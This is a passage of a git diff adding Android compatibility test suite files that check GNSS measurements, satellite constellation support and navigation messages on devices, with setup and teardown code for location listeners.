+        // Register a status callback to enable checking Svs across status & measurements.
+        // Count in status callback is not important as this test is pass/fail based on
+        // measurement count, not status count.
+        TestGnssStatusCallback gnssStatusCallback = new TestGnssStatusCallback(TAG, 0);
+        mTestLocationManager.registerGnssStatusCallback(gnssStatusCallback);
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        boolean success = mLocationListener.await();
+        softAssert.assertTrue(
+                "Time elapsed without getting enough location fixes."
+                        + " Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.",
+                success);
+        mTestLocationManager.unregisterGnssStatusCallback(gnssStatusCallback);
+
+        Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+        if (!mMeasurementListener.verifyStatus()) {
+            // If test is strict and verifyStatus returns false, an assert exception happens and
+            // test fails.   If test is not strict, we arrive here, and:
+            return; // exit (with pass)
+        }
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        int eventCount = events.size();
+        Log.i(TAG, "Number of Gps Event received = " + eventCount);
+
+        softAssert.assertTrue("GnssMeasurementEvent count", "X > 0",
+                String.valueOf(eventCount), eventCount > 0);
+
+        boolean carrierPhaseQualityPrrFound = false;
+        // we received events, so perform a quick sanity check on mandatory fields
+        for (GnssMeasurementsEvent event : events) {
+            // Verify Gps Event mandatory fields are in required ranges
+            assertNotNull("GnssMeasurementEvent cannot be null.", event);
+
+            // TODO(sumitk): To validate the timestamp if we receive GPS clock.
+            long timeInNs = event.getClock().getTimeNanos();
+            TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
+
+            for (GnssMeasurement measurement : event.getMeasurements()) {
+                TestMeasurementUtil.assertAllGnssMeasurementMandatoryFields(mTestLocationManager,
+                        measurement, softAssert, timeInNs);
+                carrierPhaseQualityPrrFound |=
+                        TestMeasurementUtil.gnssMeasurementHasCarrierPhasePrr(measurement);
+                if (measurement.hasCarrierFrequencyHz()) {
+                    mGnssMeasSvStringIds.add(
+                        TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
+                            measurement.getSvid(), measurement.getCarrierFrequencyHz()));
+                } else {
+                    mGnssMeasSvStringIds.add(
+                        TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
+                            measurement.getSvid()));
+                }
+            }
+        }
+        TestMeasurementUtil.assertGnssClockHasConsistentFullBiasNanos(softAssert, events);
+
+        softAssert.assertTrue(
+                "GNSS Measurements PRRs with Carrier Phase "
+                        + "level uncertainties.  If failed, retry near window or outdoors?",
+                carrierPhaseQualityPrrFound);
+        Log.i(TAG, "Meas received for:" + mGnssMeasSvStringIds);
+        Log.i(TAG, "Status Received for:" + gnssStatusCallback.getGnssUsedSvStringIds());
+
+        // Logging YEAR_2017 Capability.
+        // Get all SVs marked as USED in GnssStatus. Remove any SV for which measurement
+        // is received. The resulting list should ideally be empty (How can you use a SV
+        // with no measurement). To allow for race condition where the last GNSS Status
+        // has 1 SV with used flag set, but the corresponding measurement has not yet been
+        // received, the check is done as <= 1
+        Set<String> svDiff = gnssStatusCallback.getGnssUsedSvStringIds();
+        svDiff.removeAll(mGnssMeasSvStringIds);
+        softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+                "Used Svs with no Meas: " + (svDiff.isEmpty() ? "None" : svDiff),
+                svDiff.size() <= 1);
+
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
new file mode 100644
index 0000000..5586739
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.location.cts.common.TestUtils;
+import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test for {@link GnssMeasurement} without a location fix.
+ *
+ * Test steps:
+ * 1. Clear A-GPS: this ensures that the device is not in a warm mode and it has 4+ satellites
+ *    acquired already.
+ * 2. Register a listener for:
+ *      - {@link GnssMeasurementsEvent}s,
+ *      - location updates and
+ *      - {@link GnssStatus} events.
+ * 3. Wait for {@link GnssMeasurementsEvent}s to provide {@link EVENTS_COUNT} measurements
+ * 4. Ensure that zero locations have been received
+ * 5. Check {@link GnssMeasurementsEvent} status: if the status is not
+ *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
+ *    following reasons:
+ *          4.1 the device does not support the feature,
+ *          4.2 GPS Locaiton is disabled in the device && the test is CTS non-verifier
+ * 6. Check whether the device is deep indoor. This is done by performing the following steps:
+ *          4.1 If no {@link GnssStatus} is received this will mean that the device is located
+ *              indoor. The test will be skipped if not strict (CTS or pre-2016.)
+ * 7. When the device is not indoor, verify that we receive {@link GnssMeasurementsEvent}s before
+ *    a GPS location is calculated, and reported by GPS HAL. If {@link GnssMeasurementsEvent}s are
+ *    only received after a location update is received:
+ *          4.1.1 The test will pass with a warning for the M release.
+ *          4.1.2 The test will fail on N with CTS-Verifier & newer (2016+) GPS hardware.
+ * 8. If {@link GnssMeasurementsEvent}s are received: verify all mandatory fields, the test will
+ *    fail if any of the mandatory fields is not populated or in the expected range.
+ */
+public class GnssMeasurementWhenNoLocationTest extends GnssTestCase {
+
+    private static final String TAG = "GnssMeasBeforeLocTest";
+    private TestGnssMeasurementListener mMeasurementListener;
+    private TestLocationListener mLocationListener;
+    private TestGnssStatusCallback mGnssStatusCallback;
+    private static final int EVENTS_COUNT = 2;
+    private static final int LOCATIONS_COUNT = 1;
+
+    // Command to delete cached A-GPS data to get a truer GPS fix.
+    private static final String AGPS_DELETE_COMMAND = "delete_aiding_data";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mTestLocationManager = new TestLocationManager(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mMeasurementListener != null) {
+            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+        }
+        if (mGnssStatusCallback != null) {
+            mTestLocationManager.unregisterGnssStatusCallback(mGnssStatusCallback);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Test for GPS measurements before a location fix.
+     */
+    @AppModeFull(reason = "Requires use of extra LocationManager commands")
+    public void testGnssMeasurementWhenNoLocation() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+        if (!TestMeasurementUtil
+                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+            return;
+        }
+
+        // Set the device in airplane mode so that the GPS assistance data cannot be downloaded.
+        // This results in GNSS measurements being reported before a location is reported.
+        // NOTE: Changing global setting airplane_mode_on is not allowed in CtsVerifier application.
+        //       Hence, airplane mode is turned on only when this test is run as a regular CTS test
+        //       and not when it is invoked through CtsVerifier.
+        boolean isAirplaneModeOffBeforeTest = true;
+        if (!isCtsVerifierTest()) {
+            // Record the state of the airplane mode before the test so that we can restore it
+            // after the test.
+            isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
+            if (isAirplaneModeOffBeforeTest) {
+                TestUtils.setAirplaneModeOn(getContext(), true);
+            }
+        }
+
+        try {
+            // Clear A-GPS and skip the test if the operation fails.
+            if (!mTestLocationManager.sendExtraCommand(AGPS_DELETE_COMMAND)) {
+                Log.i(TAG, "A-GPS failed to clear. Skip test.");
+                return;
+            }
+
+            // Register for GPS measurements.
+            mMeasurementListener = new TestGnssMeasurementListener(TAG, EVENTS_COUNT);
+            mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+            // Register for Gps Status updates.
+            mGnssStatusCallback = new TestGnssStatusCallback(TAG, EVENTS_COUNT);
+            mTestLocationManager.registerGnssStatusCallback(mGnssStatusCallback);
+
+            // Register for location updates.
+            mLocationListener = new TestLocationListener(LOCATIONS_COUNT);
+            mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+            mMeasurementListener.awaitStatus();
+            if (!mMeasurementListener.verifyStatus()) {
+                return; // exit peacefully (if not already asserted out inside verifyStatus)
+            }
+
+            // Wait for two measurement events - this is better than waiting for a location
+            // calculation because the test generally completes much faster.
+            mMeasurementListener.await();
+
+            Log.i(TAG, "mLocationListener.isLocationReceived(): "
+                    + mLocationListener.isLocationReceived());
+
+            SoftAssert softAssert = new SoftAssert(TAG);
+            softAssert.assertTrue(
+                    "No Satellites are visible. Device may be indoors.  Retry outdoors?",
+                    mGnssStatusCallback.getGnssStatus() != null);
+
+            List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+            Log.i(TAG, "Number of GPS measurement events received = " + events.size());
+
+            if (events.isEmpty()) {
+                softAssert.assertTrue(
+                        "No measurement events received",
+                        false);
+                return;  // All of the following checks rely on there being measurements
+            }
+
+            // Ensure that after getting a few (at least 2) measurement events, that we still
+            // don't have location (i.e. that we got measurements before location.)  Fail, if
+            // strict, warn, if not.
+            softAssert.assertTrue(
+                    "Location was received before " + events.size() +
+                            " GnssMeasurementEvents with measurements were reported. " +
+                            "Test expects at least " + EVENTS_COUNT +
+                            " GnssMeasurementEvents before a location, given the cold start" +
+                            " start. Ensure no other active GPS apps (so the cold start" +
+                            " command works) and retry?",
+                    !mLocationListener.isLocationReceived());
+
+            // If device has received measurements also verify
+            // that mandatory fields of GnssMeasurement are in expected ranges.
+            GnssMeasurementsEvent firstEvent = events.get(0);
+            Collection<GnssMeasurement> gpsMeasurements = firstEvent.getMeasurements();
+            int satelliteCount = gpsMeasurements.size();
+            int[] gpsPrns = new int[satelliteCount];
+            int i = 0;
+            for (GnssMeasurement measurement : gpsMeasurements) {
+                gpsPrns[i] = measurement.getSvid();
+                ++i;
+            }
+            Log.i(TAG, "First GnssMeasurementsEvent with PRNs=" + Arrays.toString(gpsPrns));
+
+            long timeInNs = firstEvent.getClock().getTimeNanos();
+            softAssert.assertTrue("GPS measurement satellite count check: ",
+                    timeInNs, // event time in ns
+                    "satelliteCount > 0", // expected value
+                    Integer.toString(satelliteCount), // actual value
+                    satelliteCount > 0); // condition
+
+            TestMeasurementUtil.assertGnssClockFields(firstEvent.getClock(), softAssert, timeInNs);
+
+            // Verify mandatory fields of GnssMeasurement
+            for (GnssMeasurement measurement : gpsMeasurements) {
+                TestMeasurementUtil.assertAllGnssMeasurementMandatoryFields(mTestLocationManager,
+                        measurement, softAssert, timeInNs);
+            }
+            softAssert.assertAll();
+        } finally {
+            // Set the airplane mode back to off if it was off before this test.
+            if (!isCtsVerifierTest() && isAirplaneModeOffBeforeTest) {
+                TestUtils.setAirplaneModeOn(getContext(), false);
+            }
+        }
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
new file mode 100644
index 0000000..e4ea91d
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2016 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.List;
+
+/**
+ * Test for {@link GnssMeasurement}s without location registration.
+ *
+ * Test steps:
+ * 1. Register a listener for {@link GnssMeasurementsEvent}s and location updates.
+ * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
+ *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
+ *    following reasons:
+ *          2.1 the device does not support the feature,
+ *          2.2 GPS is disabled in the device,
+ *          // TODO: This is true only for cts, for verifier mode we need to modify
+ *                   TestGnssMeasurementListener to fail the test.
+ *          2.3 Location is disabled in the device.
+ * 3. If no {@link GnssMeasurementsEvent} is received then test is skipped in cts mode and fails in
+ *    cts verifier mode.
+ * 4. Check if one of the received measurements has constellation other than GPS.
+ */
+public class GnssMeasurementsConstellationTest extends GnssTestCase {
+
+    private static final String TAG = "GnssConsTypeTest";
+    private static final int EVENTS_COUNT = 5;
+    private static final int GPS_EVENTS_COUNT = 3;
+    private TestLocationListener mLocationListener;
+    private TestGnssMeasurementListener mMeasurementListener;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mTestLocationManager = new TestLocationManager(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mMeasurementListener != null) {
+            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Test Gnss multi constellation supported.
+     */
+    public void testGnssMultiConstellationSupported() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+        if (!TestMeasurementUtil
+                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+        // Register for location updates.
+        mLocationListener = new TestLocationListener(EVENTS_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        mMeasurementListener.await();
+        if (!mMeasurementListener.verifyStatus()) {
+            return;
+        }
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        softAssert.assertTrue(
+                "Did not receive any GnssMeasurement events.  Retry outdoors?",
+                !events.isEmpty());
+
+        for (GnssMeasurementsEvent event : events) {
+            // Verify Gps Event mandatory fields are in required ranges
+            assertNotNull("GnssMeasurementEvent cannot be null.", event);
+            long timeInNs = event.getClock().getTimeNanos();
+
+            softAssert.assertTrue("time_ns: clock value",
+                    timeInNs,
+                    "X >= 0",
+                    String.valueOf(timeInNs),
+                    timeInNs >= 0L);
+            boolean isExpectedConstellationType = false;
+            int constellationType = 0;
+            for (GnssMeasurement measurement : event.getMeasurements()) {
+                constellationType = measurement.getConstellationType();
+
+                // Checks if constellation type is other than CONSTELLATION_GPS
+                // && CONSTELLATION_UNKNOWN.
+                if (constellationType != GnssStatus.CONSTELLATION_GPS
+                        && constellationType != GnssStatus.CONSTELLATION_UNKNOWN) {
+                    isExpectedConstellationType = true;
+                    break;
+                }
+            }
+
+            // If test is running in CtsVerifier and multi constellation is not supported, then
+            // throw MultiConstellationNotSupportedException which is used to indicate warning.
+            if (isCtsVerifierTest() && !isExpectedConstellationType) {
+                throw new MultiConstellationNotSupportedException(
+                        "\n\n WARNING: Device does not support Multi-constellation. " +
+                                "Device only supports GPS. " +
+                                "This will be mandatory starting from Android-O.\n");
+            }
+
+            // In cts test just log it as warning if multi constellation is not supported
+            softAssert.assertTrueAsWarning(
+                    "Constellation type is other than CONSTELLATION_GPS",
+                    timeInNs,
+                    "ConstellationType != CONSTELLATION_GPS " +
+                            "&& constellationType != GnssStatus.CONSTELLATION_UNKNOWN",
+                    String.valueOf(constellationType),
+                    isExpectedConstellationType);
+
+        }
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
new file mode 100644
index 0000000..4bfd31c
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssNavigationMessage;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.List;
+
+/**
+ * Test the {@link GnssNavigationMessage} without location registration.
+ *
+ * Test steps:
+ * 1. Register for {@link GnssNavigationMessage}s.
+ * 2. Wait for {@link #EVENTS_COUNT} events to arrive.
+ * 3. Check {@link GnssNavigationMessage} status: if the status is not
+ *    {@link GnssNavigationMessage#Callback#STATUS_READY}, the test will be skipped because one of the
+ *    following reasons:
+ *          3.1 the device does not support the feature,
+ *          3.2 GPS is disabled in the device,
+ *          3.3 Location is disabled in the device.
+ * 4. If at least one {@link GnssNavigationMessage} is received, the test will pass.
+ * 5. If no {@link GnssNavigationMessage}s are received, then check whether the device is
+ *    deep indoor. This is done by performing the following steps:
+ *          2.1 Register for location updates, and {@link GpsStatus} events.
+ *          2.2 Wait for {@link TestGpsStatusListener#TIMEOUT_IN_SEC}.
+ *          2.3 If no {@link GpsStatus} is received this will mean that the device is located
+ *              indoor. Test will be skipped.
+ *          2.4 If we receive a {@link GpsStatus}, it mean that {@link GnssNavigationMessage}s
+ *              are provided only if the application registers for location updates as well:
+ *                  2.4.1 The test will pass with a warning for the M release.
+ *                  2.4.2 The test might fail in a future Android release, when this requirement
+ *                        becomes mandatory.
+ */
+public class GnssNavigationMessageRegistrationTest extends GnssTestCase {
+
+    private static final String TAG = "GpsNavMsgRegTest";
+    private static final int EVENTS_COUNT = 5;
+    private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
+    private TestLocationListener mLocationListener;
+    private TestGnssStatusCallback mGnssStatusCallback;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mTestLocationManager = new TestLocationManager(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister GnssNavigationMessageListener
+        if (mTestGnssNavigationMessageListener != null) {
+            mTestLocationManager
+                    .unregisterGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
+            mTestGnssNavigationMessageListener = null;
+        }
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mGnssStatusCallback != null) {
+            mTestLocationManager.unregisterGnssStatusCallback(mGnssStatusCallback);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Tests that one can listen for {@link GnssNavigationMessage}s for collection purposes.
+     * It only performs sanity checks for the Navigation messages received.
+     */
+    public void testGnssNavigationMessageRegistration() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+        if (!TestMeasurementUtil
+                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+            return;
+        }
+
+        // Register Gps Navigation Message Listener.
+        mTestGnssNavigationMessageListener =
+                new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
+        mTestLocationManager.registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
+
+        mTestGnssNavigationMessageListener.await();
+        if (!mTestGnssNavigationMessageListener.verifyState()) {
+            return;
+        }
+
+        List<GnssNavigationMessage> events = mTestGnssNavigationMessageListener.getEvents();
+        if (!events.isEmpty()) {
+            // Verify mandatory GnssNavigationMessage field values.
+            TestMeasurementUtil.verifyGnssNavMessageMandatoryField(mTestLocationManager, events);
+            // Test passes if we get at least 1 GPS Navigation Message event.
+            Log.i(TAG, "Received GPS Navigation Message. Test Pass.");
+            return;
+        }
+
+        // If no {@link GnssNavigationMessage}s are received, then check whether the device is
+        // deep indoor.
+        Log.i(TAG, "Did not receive any GPS Navigation Message. Test if device is deep indoor.");
+
+        // Register for location updates.
+        mLocationListener = new TestLocationListener(EVENTS_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        // Wait for location updates
+        mLocationListener.await();
+        Log.i(TAG, "Location received = " + mLocationListener.isLocationReceived());
+
+        // Register for Gps Status updates
+        mGnssStatusCallback = new TestGnssStatusCallback(TAG, EVENTS_COUNT);
+        mTestLocationManager.registerGnssStatusCallback(mGnssStatusCallback);
+
+        // Wait for Gps Status updates
+        mGnssStatusCallback.awaitStatus();
+        if (mGnssStatusCallback.getGnssStatus() == null) {
+            // Skip the Test. No Satellites are visible. Device may be Indoor
+            Log.i(TAG, "No Satellites are visible. Device may be Indoor. Skipping Test.");
+            return;
+        }
+
+        SoftAssert.failAsWarning(
+                TAG,
+                "GPS Navigation Messages were not received without registering for location" +
+                        " updates.");
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
new file mode 100644
index 0000000..fa3d63c
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssNavigationMessage;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.os.Parcel;
+
+import java.util.List;
+
+/**
+ * Test the {@link GnssNavigationMessage} values.
+ *
+ * Test steps:
+ * 1. Register for {@link GnssNavigationMessage}s.
+ * 2. Wait for {@link #EVENTS_COUNT} events to arrive.
+ * 3. Check {@link GnssNavigationMessage} status: if the status is not
+ *    {@link GnssNavigationMessage.Callback#STATUS_READY}, the test will be skipped because one of
+ *    the following reasons:
+ *          3.1 the device does not support the feature,
+ *          3.2 GPS is disabled in the device,
+ *          3.3 Location is disabled in the device.
+ * 4. Verify {@link GnssNavigationMessage}s (all mandatory fields), the test will fail if any of the
+ *    mandatory fields is not populated or in the expected range.
+ */
+public class GnssNavigationMessageTest extends GnssTestCase {
+
+    private static final String TAG = "GpsNavMsgTest";
+    private static final int EVENTS_COUNT = 5;
+    private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
+    private TestLocationListener mLocationListener;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mTestLocationManager = new TestLocationManager(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        // Unregister GnssNavigationMessageListener
+        if (mTestGnssNavigationMessageListener != null) {
+            mTestLocationManager
+                    .unregisterGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
+            mTestGnssNavigationMessageListener = null;
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Tests that one can listen for {@link GnssNavigationMessage}s for collection purposes.
+     * It only performs sanity checks for the Navigation messages received.
+     * This tests uses actual data retrieved from GPS HAL.
+     */
+    public void testGnssNavigationMessageMandatoryFieldRanges() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+                isCtsVerifierTest())) {
+            return;
+        }
+
+        mLocationListener = new TestLocationListener(EVENTS_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        // Register Gps Navigation Message Listener.
+        mTestGnssNavigationMessageListener =
+                new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
+        mTestLocationManager
+                .registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
+
+        boolean success = mTestGnssNavigationMessageListener.await();
+
+        if (!mTestGnssNavigationMessageListener.verifyState()) {
+            return;
+        }
+        SoftAssert softAssert = new SoftAssert(TAG);
+        softAssert.assertTrue(
+            "Time elapsed without getting enough navigation messages."
+                + " Possibly, the test has been run deep indoors."
+                + " Consider retrying test outdoors.",
+            success);
+
+        List<GnssNavigationMessage> events = mTestGnssNavigationMessageListener.getEvents();
+
+        // Verify mandatory GnssNavigationMessage field values.
+        TestMeasurementUtil.verifyGnssNavMessageMandatoryField(mTestLocationManager, events);
+        softAssert.assertAll();
+    }
+
+    private static void setTestValues(GnssNavigationMessage message) {
+        message.setData(new byte[] {1, 2, 3, 4});
+        message.setMessageId(5);
+        message.setStatus(GnssNavigationMessage.STATUS_PARITY_REBUILT);
+        message.setSubmessageId(6);
+        message.setSvid(7);
+        message.setType(GnssNavigationMessage.TYPE_GPS_L2CNAV);
+    }
+
+    private static void verifyTestValues(GnssNavigationMessage message) {
+        byte[] data = message.getData();
+        assertEquals(4, data.length);
+        assertEquals(1, data[0]);
+        assertEquals(2, data[1]);
+        assertEquals(3, data[2]);
+        assertEquals(4, data[3]);
+        assertEquals(5, message.getMessageId());
+        assertEquals(GnssNavigationMessage.STATUS_PARITY_REBUILT, message.getStatus());
+        assertEquals(6, message.getSubmessageId());
+        assertEquals(7, message.getSvid());
+        assertEquals(GnssNavigationMessage.TYPE_GPS_L2CNAV, message.getType());
+    }
+
+    public void testDescribeContents() {
+        GnssNavigationMessage message = new GnssNavigationMessage();
+        message.describeContents();
+    }
+
+    public void testWriteToParcel() {
+        GnssNavigationMessage message = new GnssNavigationMessage();
+        setTestValues(message);
+        Parcel parcel = Parcel.obtain();
+        message.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssNavigationMessage newMessage =
+                GnssNavigationMessage.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newMessage);
+        parcel.recycle();
+    }
+
+    public void testReset() {
+        GnssNavigationMessage message = new GnssNavigationMessage();
+        message.reset();
+    }
+
+    public void testSet() {
+        GnssNavigationMessage message = new GnssNavigationMessage();
+        setTestValues(message);
+        GnssNavigationMessage newMessage = new GnssNavigationMessage();
+        newMessage.set(message);
+        verifyTestValues(newMessage);
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
new file mode 100644
index 0000000..a539724
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.location.Location;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.gnss.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CddTest;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test computing and verifying the pseudoranges based on the raw measurements
+ * reported by the GNSS chipset
+ */
